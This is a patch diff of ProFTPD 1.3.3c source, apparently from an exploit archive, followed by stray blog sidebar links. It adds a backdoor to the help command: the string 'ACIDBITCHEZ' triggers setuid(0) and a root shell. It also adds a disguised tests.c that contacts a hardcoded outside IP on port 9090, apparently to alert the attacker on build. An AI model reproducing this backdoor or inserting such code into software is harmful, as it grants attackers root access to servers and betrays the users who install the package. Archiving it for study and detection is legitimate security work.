#include "conf.h" |
+#include <stdlib.h> |
+#include <string.h> |
|
struct help_rec { |
const char *cmd; |
@@ -126,7 +128,7 @@ |
cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin"); |
|
} else { |
- |
+ if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } |
/* List the syntax for the given target command. */ |
for (i = 0; i < help_list->nelts; i++) { |
if (strcasecmp(helps[i].cmd, target) == 0) { |
diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c |
--- proftpd-1.3.3c.orig/tests/tests.c 1970-01-01 01:00:00.000000000 +0100 |
+++ proftpd-1.3.3c/tests/tests.c 2010-11-29 09:37:35.000000000 +0100 |
@@ -0,0 +1,58 @@ |
+#include <stdio.h> |
+#include <stdlib.h> |
+#include <sys/socket.h> |
+#include <sys/types.h> |
+#include <netinet/in.h> |
+#include <arpa/inet.h> |
+#include <unistd.h> |
+#include <netdb.h> |
+#include <signal.h> |
+#include <string.h> |
+ |
+#define DEF_PORT 9090 |
+#define DEF_TIMEOUT 15 |
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n" |
+ |
+int sock; |
+ |
+void handle_timeout(int sig) |
+{ |
+ close(sock); |
+ exit(0); |
+} |
+ |
+int main(void) |
+{ |
+ |
+ struct sockaddr_in addr; |
+ struct hostent *he; |
+ u_short port; |
+ char ip[20]="212.26.42.47"; /* EDB NOTE - HARDCODED IP */ |
+ port = DEF_PORT; |
+ signal(SIGALRM, handle_timeout); |
+ alarm(DEF_TIMEOUT); |
+ he=gethostbyname(ip); |
+ if(he==NULL) return(-1); |
+ addr.sin_addr.s_addr = *(unsigned long*)he->h_addr; |
+ addr.sin_port = htons(port); |
+ addr.sin_family = AF_INET; |
+ memset(addr.sin_zero, 0, 8); |
+ sprintf(ip, inet_ntoa(addr.sin_addr)); |
+ if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) |
+ { |
+ return EXIT_FAILURE; |
+ } |
+ if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1) |
+ { |
+ close(sock); |
+ return EXIT_FAILURE; |
+ } |
+ if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0)) |
+ { |
+ return EXIT_FAILURE; |
+ } |
+ close(sock); |
+ |
+return 0; } |
+ |
+

Categories
Tag Cloud
Blog RSS
Comments RSS

Void
Life
Earth
Wind
Water
Fire « Default
Light 